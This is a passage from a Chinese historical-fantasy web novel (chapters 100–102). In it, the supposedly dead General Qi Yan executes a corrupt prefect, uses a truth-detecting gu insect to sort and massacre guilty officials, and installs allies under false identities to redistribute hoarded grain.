祁雁伸手摘下了脸上的面具,慢慢抬起头来。 幻术褪去,他的面容一点点变得清晰,清晨的日光照进屋子,映亮“清正廉明”的金字牌匾,映亮他冷峻的面容。 冯刺史脸上的表情瞬间凝固了。 他难以置信地瞪大了眼,哆哆嗦嗦地伸出手,颤颤巍巍地指向他:“你……你……” 冷汗唰地冒了出来,他面色煞白,本能地倒退一步,却脚下一软,一屁股跌坐在地:“鬼……鬼啊!!” 第100章 第 100 章 杀,一个不留。 祁雁站起身来, 一步步向他逼近:“冯大人究竟是见了鬼,还是心里有鬼?” “别、别过来……别过来!” 冯刺史拼命往后退去,屁股坐在地上挪了几步, 又颤抖着转身往前爬,好不容易要爬到门口了, 却听得“砰”一声,大堂的门被人狠狠关上。 他这才注意到堂内还有别人, 那两人守着大门拦住了他的去路,身上穿着刺史府护卫的衣服,却顶着两张陌生的脸。 “你、你们……你们到底是什么人?”冯刺史两股战战,冷汗涔涔,拼命伸手去扒紧闭的大门,“来人啊!救命啊!” “别叫了,你手下的人都已经被我们绑起来扔进马厩了,你就是喊破喉咙也没人来救你。”赵戎抱着胳膊看他。 冯刺史被吓得没了力气,又跌坐回地上, 他抹了一把额头的冷汗,艰难露出个笑脸:“两位, 有话好说,有话好说啊!” 他看向祁雁,又不太敢看他:“祁将军……你到底,到底是人是鬼?” “心里有鬼的人才会觉得自己见鬼。”祁雁淡淡道。 “可、可是……我之前都看见你的脑袋了,亲眼所见啊!你你这……你这到底算怎么回事嘛……” 冯刺史眼珠一转,又往前爬了两步, 跪在祁雁脚边,谄媚道:“将军,您这一招金蝉脱壳, 使得实在是妙啊,可陛下那边……要不这样,这事我替您瞒下来,只要您饶我一命,我把我这黔中观察使的位置让给您坐,从今往后,黔中一道,您最大,您说了算,您看怎么样?” 祁雁居高临下地看着他,表情没有一点波澜:“只有死人才能保守住秘密。” 冯刺史大惊,慌忙摆手:“不不不,活人也能,活人也能!” 祁雁:“更何况,黔中观察使的职位本就是陛下赐给我的,我拿回属于我的东西,难道不是理所应当,何须你来‘让’?” “不是……这……” 祁雁揪住他的衣领,一把将人从地上提了起来:“我且问你,你后院关着的那些女子,都是些什么人,都是从哪来的?” “什么?”冯刺史愣了一下,眼神躲闪,“这……她们都是我的婢女,既然是婢女,那自然是……买来的。” 他说着,小心翼翼地打量了一下对方的神情:“将军若是看上了哪个,我送给您就是,何至于这般大动干戈啊……” 祁雁眯了眯眼:“你确定她们是你买来的?那我问你,何年何月从何处购得,卖家是谁,花费银钱几何?!” 陡然抬高的音量把冯刺史吓得一激灵,祁雁狠狠把他抵在门上:“那里面有个叫黎新的苗族女孩,也是你买来的?” “我……这……” “昨天我连夜查阅了你们的卷宗,两年前有苗民来到州廨报案,说苗寨款首和南照勾结,她父亲因反对款首而被杀害,她求官府为她做主,还她一个公道,司法参军接了她的报案,最后却不了了之——这个报案的苗民就叫黎新。” “她冒着生命危险出寨报官,一去不返,族人只当她失踪了,却不想被你这个她求着为她做主的官老爷幽禁在此!苗寨款首和南照勾结意图反叛的消息是你上报朝廷的,我来向你调取苗民资料时还问过你,你说是你的线人给你传递的消息,现在看来根本没有什么线人,就是这个来报案的苗族女孩告诉你的吧?” 祁雁死死地盯着他,漆黑眼眸中暗流翻涌:“她可是你的大恩人,若不是她,南照犯境,陛下追究下来,第一个被杀头的就是你!现在你督察有功,非但没被罚,还得了赏赐,可你如何对待保住你项上人头荣华富贵的黎新?冯大人,你的良心是被狗吃了吗?” 他松开手,冯刺史一摊烂泥般跌坐在地,他双目失神,汗出如浆:“我……我……” 祁雁:“我身为黔中观察使,负责考察黔中一道各州县所有官员,我刚来黔州那天就该杀了你,何至于让你为非作歹到今天。” 腰间佩刀已然出鞘,寒光闪过,锋利的刀刃瞬间割开了对方的喉管,鲜血喷溅满地。 祁雁将横刀轻轻一挥,刀刃上沾染的鲜血便顺着刀尖滑落,刀身又变得雪亮无匹。 他还刀入鞘,密密麻麻的蛊虫从四面八方涌来,很快将地上的尸体分食干净,连血都没留下一滴。 苗霜从转角处走出,祁雁不用回头就知道是他,问道:“那几个女孩怎么样了?” “缓过来些了,等事情结束,我就让他们把黎新送回寨子,至于其他人,你想办法帮她们找个去处吧。” “我会尽快帮她们找到家人,”祁雁道,“冯刺史已经死了,赵戎廖齐,去把抓住的那些人都押过来。” “是。” 祁雁又转头看向苗霜:“接下来,还得靠夫人了。” 苗霜打了个哈欠:“一夜没睡,我都困了,等事情结束,将军可得好好补偿我。” “夫人说什么就是什么。” 州廨所有人都被押到了前院,上到长史司马,下至仆从杂役,林林总总百十号人。 天刚亮时苗民们就已经赶到,完全接管了刺史府,早上官员们一上值,来一个便绑一个,哪怕今天不当值的也去家里强行捆了来,现在他们都中了苗霜的毒,没有半分反抗之力。 官员们哪里见过这阵仗,吓晕过去好几个,此刻又被一一叫醒,在院子里跪着。 苗霜给他们解了哑毒,祁雁的视线在他们身上环顾一圈,吩咐道:“给庞长史松绑。” 两个苗民给人松了绑,把人从地上扶起来,庞长史揉了揉被绑疼的胳膊,急忙冲祁雁作揖行礼:“见过观察使大人,去年大人来黔州上任,下官都没能见上大人一面,遗憾至今哪!今日一见,大人果然是相貌堂堂,一表人才,玉树临风气宇轩昂啊!您这一来,我们州廨都蓬荜生辉!” 祁雁意味不明地扯了下嘴角:“长史不必说那么多客套话,考察官员是我职责所在,大家都是给陛下干活的,祁某今日多有得罪,还望诸位海涵。” 官员们面面相觑。 海涵?这都五花大绑了,周围还围着一圈凶神恶煞的手下,个个佩刀,看起来一言不合就要砍个脑袋,想不海涵行吗? “是是是,下官理解,理解,”庞长史一见有转圜余地,立刻摆出一副无条件配合的姿态,“您看您要查什么,怎么查,下官一定知无不言言无不尽。” 祁雁将一枚真言蛊放进他手中:“长史只需拿着这个,回答我几个问题即可。” “这……”庞长史看着手心那只小小的虫蛹,不太明白这是什么意思,但还是只能答应,“没问题,您尽管问,下官一定据实以报。” 祁雁:“长史在黔州任职这几年,可有贪污受贿,鱼肉百姓?” 庞长史连连摇头:“不敢不敢,这等行径,为人所不齿,下官绝对不敢哪!” 真言蛊一歪,在他手心躺倒。 祁雁暗自冷笑了下,面上神色不显,继续问:“可有和冯刺史串通一气,奸|淫|妇女?” “不能,绝对不能!”庞长史义正辞严,“大人的意思是,冯大人他……?这是什么时候的事,下官完全不知啊!大人明鉴,姓冯的真不是个好东西,下官早就对他有所不满,可我只是区区长史,也是无可奈何,大人您看……” 真言蛊躺着,立起来,又躺下。 只有“对冯刺史不满”一句话是真的。 至于为什么不满,只怕是觉得自己捞到的油水还不够多。 祁雁拿回真言蛊,摆了摆手:“带下去吧。” 庞长史被押到一边,不明所以:“这……到底什么意思?” 祁雁不理会他,又转而询问下一个:“司马。” 黔州司马吓得一激灵:“下官在,下官在。” “在任这些年,可有贪污受贿?” 司马看着掌心的虫蛹,艰难吞咽了一口唾沫,颤声道:“有……有……” 真言蛊没动静。 “哦?贪了多少银子,又收了多少贿赂?”祁雁道。 “这……”司马紧张得额头冒了汗,伸手颤巍巍地比了个“一”,“一、一百两。” 真言蛊躺倒了。 司马吓得脊背都绷直了:“不不不,一千两,一千两!” 真言蛊还是没起来。 司马还想改口,祁雁却不再给他机会:“下去吧。” 被问了两个,其他人已是人人自危,忍不住交头接耳,祁雁的视线一扫来,他们又瞬间噤若寒蝉。 “司法参军何在?” 一人起身上前:“下官在。” “两年前你接了黎新的报案,为何不查?” “下官……想查,”司法参军一脸为难,“可那苗寨戒备森严,我能调遣的就那么几十号人,根本进不去啊,而且不知为何,冯大人他……不让我查,我只是一小小参军,哪敢和刺史大人对着干。” 真言蛊稳稳立着。 祁雁:“我观州廨卷宗,一年下来也有不少报案,但你处理最多的是打架斗殴,偷窃抢劫,至于人命案子,人口失踪,几乎全以意外死亡、自行离乡外出结案,却是为何?” 司法参军叹了口气:“大人有所不知,黔地荒蛮,这户籍呢从没有一天真正对上过——这是司户参军的事,可不归我管——那些人口失踪,有一部分是户籍里没有的人,根本就没法查,一部分是真的离乡外出了,因各种原因未能按时归来,家人就报了失踪,他们不在黔州失踪,我也无能为力,最多只能发一封协查文书,这一来一回,时间都不知道过去多久,最后往往便不了了之了。” 真言蛊依然立着。 “至于最后一部分……”司法参军紧张得手心都出了汗,“是……是刺史大人他催促下官草草结案,案子若是不结,就影响他的功绩,他还叫下官没事就别立案,接了报案又查不了,完全是给他添麻烦。” 祁雁:“……” “人命案,也是那些原因,黔地本来就乱,除了那些异族,还有各种逃难而来的江湖人,这些人哪个身上没背着几条人命,聚众械斗时有发生,谋财害命也不在少数,下官尽自己所能去查,实在超出能力范围了,也就只能……草草了结,州廨这些捕快们干活都是为混口饭吃,不能真叫人送上自己的性命不是。” 真言蛊自始至终没有一丝晃动,祁雁闭了闭眼:“你先下去吧。” 司法参军被带到了院子的另一边,苗民们守在四周,依然没有放他离去。 祁雁花了整整一天的时间问询完了所有的人,官员们被问了各种问题,最终分成了两拨,长史司马等人在左手边,司法、司仓参军等人在右手边,人数几乎对半,而仆从杂役只是问了简单的问题,例如有没有谋财害命之类,绝大部分都在右手边。 日渐西沉,天色已晚,祁雁也有些累了,他按了按眉心,对右手边的人道:“今天就到这里,你们可以走了,记住,对外不可声张一字半句,明日起还来州廨上值,一切照旧。” 官员们你看看我,我看看你,不知是谁先开口应道:“明白,全凭大人定夺。” 众人纷纷附和,接二连三离开了刺史府,苗霜靠在廊下打盹,懒洋洋地睁开一只眼,指尖微动,给所有人下了追踪蛊。 院子里一下子空了大半,剩下的人有些耐不住了,庞长史开口询问道:“那我们呢?我们是不是也能走了?” 祁雁冲他笑了笑。 看到这笑容,庞长史心放下了不少,张口就是早已准备好的阿谀奉承:“大人真是明察秋毫——” 话音未落,身后便传来一声闷响,刺史府的大门被人重重关上。 祁雁神色一凛,冷冷道:“杀,一个不留。” 100-110 第101章 第 101 章 何错之有啊? “什、什么?!”庞长史听见这个“杀”字, 不禁脸色剧变,慌乱向后退去,“你们要干什么?我可是朝廷命官, 你敢杀我?!” “朝廷命官又如何?”祁雁平淡一笑,“庞长史不是已经认出了我是谁?谋逆之罪我都背了, 杀害朝廷命官这等小事,你觉得我会在乎吗?” “你、你……”庞长史气得指向他的手指不停颤抖, “你们真是无法无天,无法无天!” “长史自己贪赃枉法,鱼肉百姓,倒是说起别人无法无天了,”祁雁慢慢拔出了刀,看向周围的苗民,“诸位退后些,这些人我祁某一人杀,这罪名我也一人担。” 他毫不犹豫地把刀尖捅进了对方的心口, 庞长史满脸错愕就这样凝固在脸上,捂着伤口倒了下去。 鲜血汩汩而出, 在地上汇聚成血泊。 祁雁走向下一人,司马已经吓得跌坐在了地上,话都不会说了。 周围的苗民突然一拥而上,他们实在忍了太久,哪里还顾得上管杀害朝廷命官要承担什么样的后果,泄愤般扑向院子里的贪官污吏, 喊杀震天。 鲜血染红了州廨,与血色的夕阳连成一片,惨叫与哭号直上云霄, 一时竟分不清究竟是谁在流血,谁在流泪。 一片混乱当中,忽有人偷偷从后门溜了出去,那人牵着马,边跑边喊:“来人啊……救命啊!杀人了!” 一支箭矢凌空飞来,正中他后心,又从前心贯出,那人一下子扑倒在地上,当场生机断绝。 他牵着的马受了惊吓,嘶鸣一声,不管不顾地狂奔而去。 伏在围墙上的姜茂直起身来,收了手中刚发过一箭的弩,旁边赵戎拍了拍他的肩膀:“行啊你,独臂大侠,弓用不了了,还能用弩,准头不错。” 姜茂瞥他一眼,从围墙上跳下来:“去看看他死透了没。” “一箭贯心,这还能活?”赵戎也跟着他跳下来,踢了踢地上死透的人,“不过他只是个马夫,你下手可真狠。” “他不是骂你了吗?” “嗯?” “没什么,”姜茂抓住马夫的胳膊,把人往州廨里拖,“刚刚将军问他,他撒谎了,趁刺史不在,他可没少进出柴房,一个马夫都能这么恃强凌弱颐指气使,死得不冤。” 赵戎帮他拖了人:“那马呢?咱不要了?将军说那可是千里良驹。” “要追你自己追,我反正不去。” “……还是让大巫来处理一下血迹吧。” 两人回到院内,里面的混乱已经结束了,数不清的蛊虫正在分食地上的尸体,有苗民蹲在墙角号啕大哭,手上还沾着贪官的血,抹了自己一脸。 也有人被这噩梦般的景象和冲天血气恶心得扶着墙吐个不停。 赵戎把马夫的尸体扔进尸堆里:“大巫,这还有一具,外面还有点血,麻烦您了。” 苗霜打着哈欠,又指挥蛊虫出门处理血迹,精神恹恹道:“你们杀得也太多了,我的虫子都要吃不下了。” “夫人今天辛苦了,”祁雁走上前来,“今晚好好休息,其他的我来处理就行。” “答应我的补偿……” “放心,一点都不会少。” 苗霜勉强满意,帮他们处理完了尸体,便在府里找了间干净屋子准备休息。 血气渐渐散去,苗民们换下身上染血的衣服,也缓了过来,祁雁走到他们跟前,道:“今夜大家休息一晚,明日就带着粮食回苗寨吧,别让大家等太久了,还有那个叫黎新的女孩,带她一起回去——你们谁愿意跑这一趟?” 立刻有三四个苗民自告奋勇,祁雁点点头:“那就交给你们,剩下的人,我会连夜核对名单,州廨缺失的官员,由咱们顶上。” 苗民们互相对视,有人不太自信地问:“我们……能行吗?” “再差也不会比过去更差,你们说对吗?” 想想那些尸位素餐的贪官都能混到现在,众人瞬间又有信心了,人们各自找地方休息,州廨里房屋很多,凑合一宿完全富裕。 安抚好了苗民,祁雁呼出一口气,对赵戎他们道:“你们两个,随我来。” 三人来到刺史办公的正堂,祁雁将一本官员名册摊开在桌上。 赵戎帮他点了烛火,又研了墨,祁雁提起笔,将今日所杀的官员名单全部抄录下来。 “将军,咱真要冒名顶替这些人啊?”赵戎压低声音,“您这计划也太大胆了,直接换掉了半个州廨的人,万一露馅了怎么办?” “我也没想到该杀的人竟有这么多,”祁雁提笔写字,头也不抬,“但既然做了,那就一做到底,也不需隐瞒多久,等到我起兵之日,便不再需假借他人身份。” “说的也是,”赵戎道,“那您这职务怎么分?您冒充刺史,我和姜茂……长史司马?那大巫呢?” “他想必不愿管这些琐事,等下我会问问他,”祁雁道,“黔州属于下州,参军只有三位,司法、司仓还在,至于司户参军,我会交给田语,正好让她给族人核查一下户籍,我相信她有这个能力。” “黔地虽荒蛮,却也有许多汉人在此居住,我看了今年的税册,不光是苗人,汉人需要缴纳的税粮一样多,压榨百姓不分彼此,上梁不正而下梁歪,刺史贪,手下跟着一起贪。” 层层加码下来,恨不得把百姓剥下一层皮。 “现在正值税收时节,派出去的小吏还都没有回来,各州县收上的税粮最终都会抵达黔州,我们还有的忙。” 赵戎一听,头都大了,不禁有些退缩:“我还是喜欢打仗……这长史和司马谁干的活比较多,要不姜茂咱俩换换?” 祁雁:“最重要的还不在收税,而是怎样收税能缓解百姓的生计之苦,又不会被季渊发现,若黔州刺史突然性情大变,不贪了,季渊一定会发现什么。” “也就是说,我们即便杀了他们,也无能为力吗?”姜茂问。 “不,一定有解决的办法,且容我再想想。”祁雁捏了捏眉心,比杀贪官更难的是怎么处理这些人留下的烂摊子,“你们都回去休息吧,辛苦了一天,早点睡觉。” “现在却也睡不着,”姜茂道,“我来帮您抄吧。” 他要帮忙,祁雁也没拒绝,把笔给了他,自己起身走到窗边,望着窗外的月色。 夜渐渐深了。 白日死里逃生的几个捕快正聚在一起喝酒,提起今天发生的事,他们还有些心有余悸,趁四下没有旁人,终于敢交谈两句: “今天咱们见到那个,真是祁将军吗?” “应该……是吧。” “他不是已经死了吗?怎么这又活了?” “假死呗,这可是欺君之罪啊,他胆子也是真大。” “他都被定为谋逆满门抄斩了,欺君又算什么,想必是孑然一身,什么都不怕了。” “我要是他,我也要反!祁家三代忠良,为大雍镇守北境,又被调来平定南蛮,结果就因为一个劳什子圣蛊把人全家杀光了,你们信那圣蛊真的存在吗?反正我是不信,要真有那种东西,天下不早是苗人的了?” “你可小点声吧,祁雁是不是真的谋反也不是咱们能议论的,保住自己的小命要紧。” “就是就是,今天那阵仗真是吓死我了,怎么一只小小的虫蛹就能验出我们在撒谎?祁雁身边那个白头发的,好像就是苗疆大巫啊,这般通天手段,我都要相信圣蛊是真的了。” “你说,我明天要是不去上值,一走了之,他们会追究吗?” “我劝你别铤而走险,小心他们杀你灭口,那大巫手眼通天,说不定现在还在盯着我们呢。” “噫,别说了,我后背发冷。” 几人纷纷一个哆嗦,闷头喝酒,不敢再说话了。 那个说“如果他是祁雁也要反”的捕快一脚踏在长凳上,许是喝了酒,比平常更多几分胆气:“我不管,反正我要去上值,早就看姓冯的刺史不顺眼了,上次我们跟着曹参军查案,差一点就要抓到凶手了,结果凶手躲进了刺史时常光顾的春风楼里,他嫌我们打扰他雅兴,居然就不让我们查了,就这么放跑了案犯,再也没能抓到。” “要是这么说,那我也想回去看看了,如果真像你说的祁雁是个忠臣良将,说不定真能整治整治这不正之风啊,反正他现在不杀我们,我们在他手下做事,俸禄还一样发,对我们来说也没坏处。” “有道理。” “说的也是……” 捕快们七嘴八舌,又有一人道:“不过今天验谎时,我手里的虫子也倒了,我还以为我死定了呢,结果他居然放过了我,我这现在心有点虚……” “我倒是没注意,你当时撒了什么谎?” “他问我有没有小偷小摸,我说没有,其实我偷过,我从刺史那偷过十两银子,当时他说我偷懒耍滑,扣我月俸,苍天可鉴我真没有!我太生气了,就趁深夜潜进刺史府……偷了一块银铤。” “哈,你偷了刺史的钱居然不跟兄弟们分享,你这人可真不讲义气。” “别这么说啊,那银铤我到现在还没敢花呢……算了算了,回头拿出来请你们喝酒。” “这还差不多,所以祁将军不杀你,只是觉得你罪不至死吧,那不还有一个承认自己受贿二百两的,也活着离开了。” “这么说我就放心了,那明天我也去上值——来来来,喝酒喝酒!” 月色正浓,祁雁回到房间。 这是间没人住的客房,苗霜蜷在床上,似乎已经睡着了,祁雁轻手轻脚地靠过去,想不惊动他上床睡觉。 苗霜却睁开眼睛,向他看来:“忙到现在?” 祁雁顿了下,掀开被子进了被窝:“我还以为你睡了。” “是睡了,不过又醒了,”苗霜顺势靠进他怀里,轻轻嗅了嗅,“洗澡没?杀了一天人,带着别人的血臭味可别跟我一起睡。” “……洗过了,”祁雁哭笑不得,“什么叫杀了一天人,明明只杀了两个。” “将军也真是会算计,故意把我的族人骗上你的贼船,现在杀害朝廷命官人人有份,开弓没有回头箭,想跑可是再也跑不了了。” “我不也在夫人的贼船上吗?”祁雁轻轻搂住他的腰,“我们早已经是一根绳上的蚂蚱,把他们牵扯进来,也是给他们铺路而已,我不会在黔州逗留太久,刺史府……迟早都是你们的。” “将军这张嘴,还真是会说,”苗霜的指尖擦过他的唇边,“杀人罔法都能说得这么冠冕堂皇。” “黔州观察使的位置本就该是我的,”祁雁捉住他的手,吻了吻他的指尖,“拿回本该属于我的东西,何错之有啊?” 第102章 第 102 章 万事俱备,只欠东风。…… “你这些年来只是当个将军, 可真是屈才了,”苗霜轻笑出声,“你要是没能取代季渊当上皇帝, 我都要替你可惜。” “都倚仗夫人助我,”祁雁蹭了蹭他的鼻尖, 亲吻他的唇角,继续与他耳鬓厮磨, “现在州廨职位空缺,夫人可愿领一官半职?” 苗霜果断:“不愿。” 祁雁就猜到他肯定不愿,苗霜这人闲散惯了,做什么事全凭喜好,整日点卯上值这种事肯定是敬而远之。 他便不再继续问,两人都劳累一天了,亲密也不似平常激烈,透着股漫不经心的怠惰和懒散,十指悄然缠绕在一起, 苗霜微凉的指尖也染上属于对方的温度,唇舌侵扰间气息交织, 空气中都透着十足的暧昧与缠绵。 精神在这样的亲昵中渐渐放松下来,深秋时节,屋里没点火盆,实在有些冷,苗霜像是想要冬眠的蛇一样蜷在祁雁怀里,把手伸进他的衣服汲取暖意, 祁雁身上的热度将他裹贴着,让他很快沉沉睡去。 整个冯刺史陷入一片安宁。 两个时辰后,天色初明。 祁雁睁开眼睛, 醒了会儿盹,天冷让人对起床这件事产生了极大的抗拒,精神和肉|体抗争了一会儿,他还是坐起身来,小心翼翼地把苗霜放下,有些不舍地在他额头吻了吻,给他盖好被子,悄无声息地下了床。 他走到一旁更衣,没注意到床上的人偷偷睁开眼来看他,一直看着他换上那身绯色的官服,才把脸缩进被子里,继续睡。 祁雁开门离开房间,正迎上赵戎他们,赵戎一脸困倦地打着哈欠,没精打采地跟他打招呼:“将军,早。” 赵戎身上的官服穿得皱皱巴巴,比他的人还要没精神,他浑身不得劲地抻了抻肩膀:“这衣服我怎么穿着这么难受呢……” 昨夜三人连夜抄录完了官员名册,按照身高、性格一一匹配,填补空缺,赶在正式上值前分配完了所有的工作。 之前自告奋勇的几个苗民也驾着粮车,带上黎新启程返回苗寨,祁雁将苗寨的户籍名册也给了他们,让他们带回去转交田语。 卯正时分,官员们陆续到值了,一夜之间大换血的州廨气氛颇有些诡异,死里逃生的人们聚在堂前,看着那位高堂之上端坐的杀神,等着他发号施令,大气也不敢出。 祁雁掀起眼皮,淡淡看了他们一眼:“聚在这里干什么?都没自己的事情做么?” 官员们你看看我,我看看你,不知是谁先抬了脚,其他人纷纷效仿,顿时一哄而散,各自回到自己的岗位上干活。 最后留下来等着派活的就剩下赵戎和姜茂,他俩是实在不知道自己能干什么,过了一会儿,祁雁将税册丢给姜茂:“如果有小吏收税回来,你就按这册子上的数目核验,这差事交给你,能办到吧?” 姜茂点了点头:“将……大人放心。” “嗯,”祁雁看向赵戎,“去把曹参军给我找来。” “是!” 待命已久的新任长史终于有活儿干了,风风火火出去找人,曹参军被带到祁雁面前,还以为自己又犯了什么事,冷汗都快下来了。 祁雁:“后院那几个被拐骗来的女子,你负责帮她们寻找家人,州廨卷宗我已经看完,你可以拿回去了,先核对一下失踪报案里有没有能对上号的,如果没有,就问清楚她们的身世进一步寻找打听,务必在年关之前送她们去和家人团聚。” 听到只是让自己查案,曹参军松了口气:“明白,都是我分内之事。” “还有,办完这件事,过往所有草草了结的旧案按轻重缓急全部重启,州中捕快依然供你调遣,一人不多,一人不少,若有什么困难,尽管来找我。” 曹参军一听要重启旧案,登时脑子一晕,感觉未来半年自己都要忙得脚不沾地了,前途一片灰暗。 祁雁深黑的眼眸注视他:“还有什么疑问吗?” “没、没有!”曹参军咬着后槽牙,“都听将军安排。” 祁雁:“嗯?” 曹参军一激灵:“不,冯大人。” “去吧。” 曹参军褪色的背影离开了,赵戎啧啧两声:“这群人偷懒惯了,突然要干这么多活儿,想必会累死吧。” “你也别闲着,去帮他。” “啊?我?”赵戎一脸错愕地指指自己,“我哪会查案啊……” “军中先锋,刺探敌情得心应手,区区查案又算得了什么,让你去你就去。” “好吧……” 赵戎灰头土脸地走了,祁雁又提醒他:“出外勤记得戴面具。” 在夜袭刺史府之前,苗霜做出了更多的幻蛊面具,并且进行了一番升级改造,这批面具只有半张,更加轻便,效果比以前更好,还能防水。 冒充捕快的苗民们很快被曹参军带出去干活了,墙上挂的面具空了大半,祁雁继续处理着这样那样的事务,直到日上三竿,苗霜才起床。 先前还自由散漫的州廨官员们一夜之间变得兢兢业业,苗霜见了,也不禁有几分惊奇,姓祁的往那一坐,还挺像那么回事,统领千军万马的大将军管理起这些官员来也是得心应手,没人敢说一个不字。 祁雁低头忙碌,苗霜则无所事事地翻阅起了架子上的书册,白蛇从他肩头游下,爬到了祁雁的书案上,对着砚台直吐信子。 祁雁瞥它一眼,道:“不能吃。” 白蛇悻悻收回了想尝尝墨汁的信子。 苗霜将它捉起塞回袖中,顺势便坐在了桌子上,手里攥着的书简抬起祁雁的下巴,迫使他抬起头来。 祁雁伸手抓住书简,指尖向上扣住他的手腕,轻轻一拽便将他拉进自己怀里。 苗霜坐在了他腿上,偏过头来亲了亲他的唇角,就听见祁雁的声音在耳边响起:“夫人闲着也是闲着,陪我去个地方可好?” “去哪儿?” “去看看黔州的粮仓。” 苗霜显然兴致缺缺,又跟他腻歪了一会儿,这才应下:“行吧。” 祁雁叫来了司仓参军,让他前面带路,开仓验粮。 紧闭的仓门打开,只见粮仓内白花花的粮食堆积如山,几只硕大的老鼠正在仓中横行,见人来了竟然不跑,回头看看,又旁若无人地吃起米来。 “这耗子比猫还大,”苗霜挑了挑眉,“看来你把它们养得不错啊。” 参军额头冒出冷汗:“惭愧,惭愧……这仓中粮食太多了,总是招来这些畜牲,我们时常打,却总也除不尽。” 苗霜冷笑了一下:“这耗子见了人不跑,像是时常被驱赶的样子吗?参军大人,撒谎也编点好的。” “呃……这……” 白蛇爬到苗霜肩头,发出威慑的嘶嘶声,粮仓里的老鼠顿时受了惊,吱吱叫着四处乱窜起来。 但很快它们又齐齐一停,像是受到了某种控制,接二连三窜出了粮仓,顺着仓门从他们脚边爬过,一直来到外面,突然发疯一般互相撕咬起来。 看着这些老鼠互相残杀,彼此撕咬得鲜血淋漓直至抽搐气绝,参军额头的冷汗越来越多了,脸色也有些发白,觉得地上死的好像不是老鼠,而是自己。 “官府丰年收粮,灾年赈粮,今年已到年底了,这粮仓为何还如此满?”祁雁冷冷问道。 “是……冯大人说,黔地今年,风调雨顺……” “好一个风调雨顺。” 官仓里粮满得快要溢出来,种粮的百姓却食不果腹。 祁雁眸色深暗,那眼神锋利如刀,割在参军身上,像是要把人凌迟一般:“你可知我为何不杀你?” 参军深深低着头,脊背也跟着佝偻下去:“自、自然是因为……大人宽宏大量……” “并非我宽宏大量,也不是因为你没有撒谎,更非你贪得不够多,只是今年官仓被盗,总要有个人来担责。” “什、什么?!”参军大惊,“官仓被盗?这这这……不曾有过这种事啊大人!” “我说的不是已经发生的,是将要发生的,”祁雁淡淡笑了笑,那笑容却不带一点暖意,只让人遍体生寒,“放心,不会真让你掉脑袋,只是扣你一年俸禄,相比你中饱私囊的钱,不算多吧?” 参军面部肌肉都紧张得抽搐起来:“不……不多……” “好了,我已验看完毕,把仓门关上吧,记得别再让耗子跑进去了,如此硕鼠,若非贪得无厌,也不会落得今天这般下场,你说是吗?” 祁雁说罢,同苗霜一起离开了粮仓。 参军低头看着地上皮开肉绽面目全非的死老鼠,已是大汗淋漓。 * “看来将军已经有主意了?”走在回州廨的路上,苗霜问。 “昨夜想了一宿,寻常法子定是行不通,只能冒险一试了。” “你指监守自盗?”苗霜饶有兴味地笑了笑,“将军的法子还真是另辟蹊径,别人监守自盗都为填满自己的口袋,你却要从自己的口袋里拿出去救济百姓,就算你这么做了,百姓不知真相,也不会有人感谢你。” “爱民在心,而不在旁人之口,既无愧于心,何必在意旁人怎么说,我只做眼下当前事,是青史留名还是遗臭万年,自有后人评价。” 苗霜脚步一顿。 这话……还真是出奇的耳熟。 祁雁这人,当真自始至终都没变过。 见他没跟上来,祁雁也停下步伐:“怎么了?” “没什么,”苗霜追上了他,“具体要如何做?监守自盗,你总不能真的亲自去偷吧。” “我一个人却也搬不了那么多粮,整个州廨的人手都不够,捕快们还得跟着曹参军查案,他们的身手也不太行。” 祁雁说着环顾四周,压低了声音:“之前曹参军说,黔地活跃着一批逃难而来的江湖人,烧杀抢掠无恶不作,江湖人最是重义,若非走投无路,谁又会落草为寇,官府都抓不到他们,进出州廨偷盗财物想必也信手拈来。” 苗霜眉梢轻挑:“你若真能降伏了他们,不但能让他们帮你干活,还能让黔地少些恶性案件,也算是一箭双雕——不过,你要怎么让他们心甘情愿地效忠于你?这些人可不像那些软骨头的官吏好拿捏,我是不会帮你下蛊的。” “此事无需夫人出马,夫人就看我的吧。” “那我便拭目以待。” * 祁雁让手下人帮忙散布了消息,数日后,城内一破败偏僻之所,聚集了十几个凶神恶煞的江湖人。 这些人不是脸上带疤,就是纹着花臂,深秋的天气赤着臂膀,身上背着碗口粗的砍刀。 为首的那个稳稳坐在缺了一条腿的长凳上,把自己的刀擦得锃光瓦亮,照出一张胡子拉碴的人脸。 有人凑到他跟前来,低声问道:“大哥,咱不会被耍了吧?那人怎么还不来?” 胡子大汉头也不抬地继续擦刀:“再等等。” 左等右等也不见有人来,终于有人不耐烦了,撸起袖子:“他奶奶的,谁敢耍我们!我看他是活得不耐烦了!” 越来越多的不满声此起彼伏,正在这时,忽有一道低沉冷冽的嗓音响起:“诸位稍安勿躁,我可是一直都在。” “……谁?!” 数柄明晃晃的刀尖对准了他,十几人将他团团包围,脸上的表情颇有些惊疑不定,他们竟不知道这人是何时出现在身边的,完全没察觉到他的气息。 胡子大汉也站了起来:“你是何人,报上名来!” “行不更名坐不改姓,苗霜是也,”那人从暗处走出,身量颀长,脸上戴着半张金属面具,看不清面容,“今晚雇你们的就是我,诸位却问我是谁?” “苗霜?没听说过,”胡子大汉的刀依然指着他,“你说有赚大钱的活计,可是真的?” “自然,”顶着“苗霜”之名的祁雁从腰间解下钱袋,打开来,里面是满满的一袋碎银,“帮我办好了事,这些都是你们的。” 有人一下子看直了眼:“这么多钱?” 有人顶着诱惑,问道:“若是办不好呢?” “若是办不好……”祁雁微微一笑,将银子收起,“那你们就一个都别想走了。” 此言一出,气氛登时剑拔弩张起来,有人不屑地呸了一口:“虚张声势!口气不小,我倒要看看你有什么本事!” 那人说着大喝一声,挥刀就朝祁雁砍来,祁雁闪身躲过,指尖在刀身上轻轻一弹,内力在指尖迸发,只听“当”的一响,那把宽背砍刀居然就从中间断作两截。 持刀人大惊,难以置信地看着自己折断的爱刀:“这……这……” 眼看着同伴被欺负了,众人眼中纷纷闪过一抹狠厉,胡子大汉粗声喝道:“兄弟们,一起上!” 祁雁赤手空拳,在十几人的轮番攻势下竟游刃有余,后背好像长了眼睛似的,总能精准避开每一道攻击,身形在众人之间闪转腾挪,交手不过十招,周围人已经倒了一地。 他一掌拍在胡子大汉胸口,强劲的内力差点震碎他的五脏六腑,对方急忙御起内力抵挡,这才没当场魂归西天,但也被拍得重重摔了出去,撞碎了一截本就摇摇欲坠的墙壁,猛地吐出一口血来。 有小弟大惊失色,爬上前去:“大哥!” 胡子大汉以刀插地,刀身还在嗡鸣不止,虎口都震出了血来,他抬头看向远处那道依然气定神闲的人影,气喘吁吁道:“你、你厉害。” 祁雁扔给他一瓶治疗内伤的药:“如何?还打吗?” 胡子大汉急忙摆手:“不……不打了。” 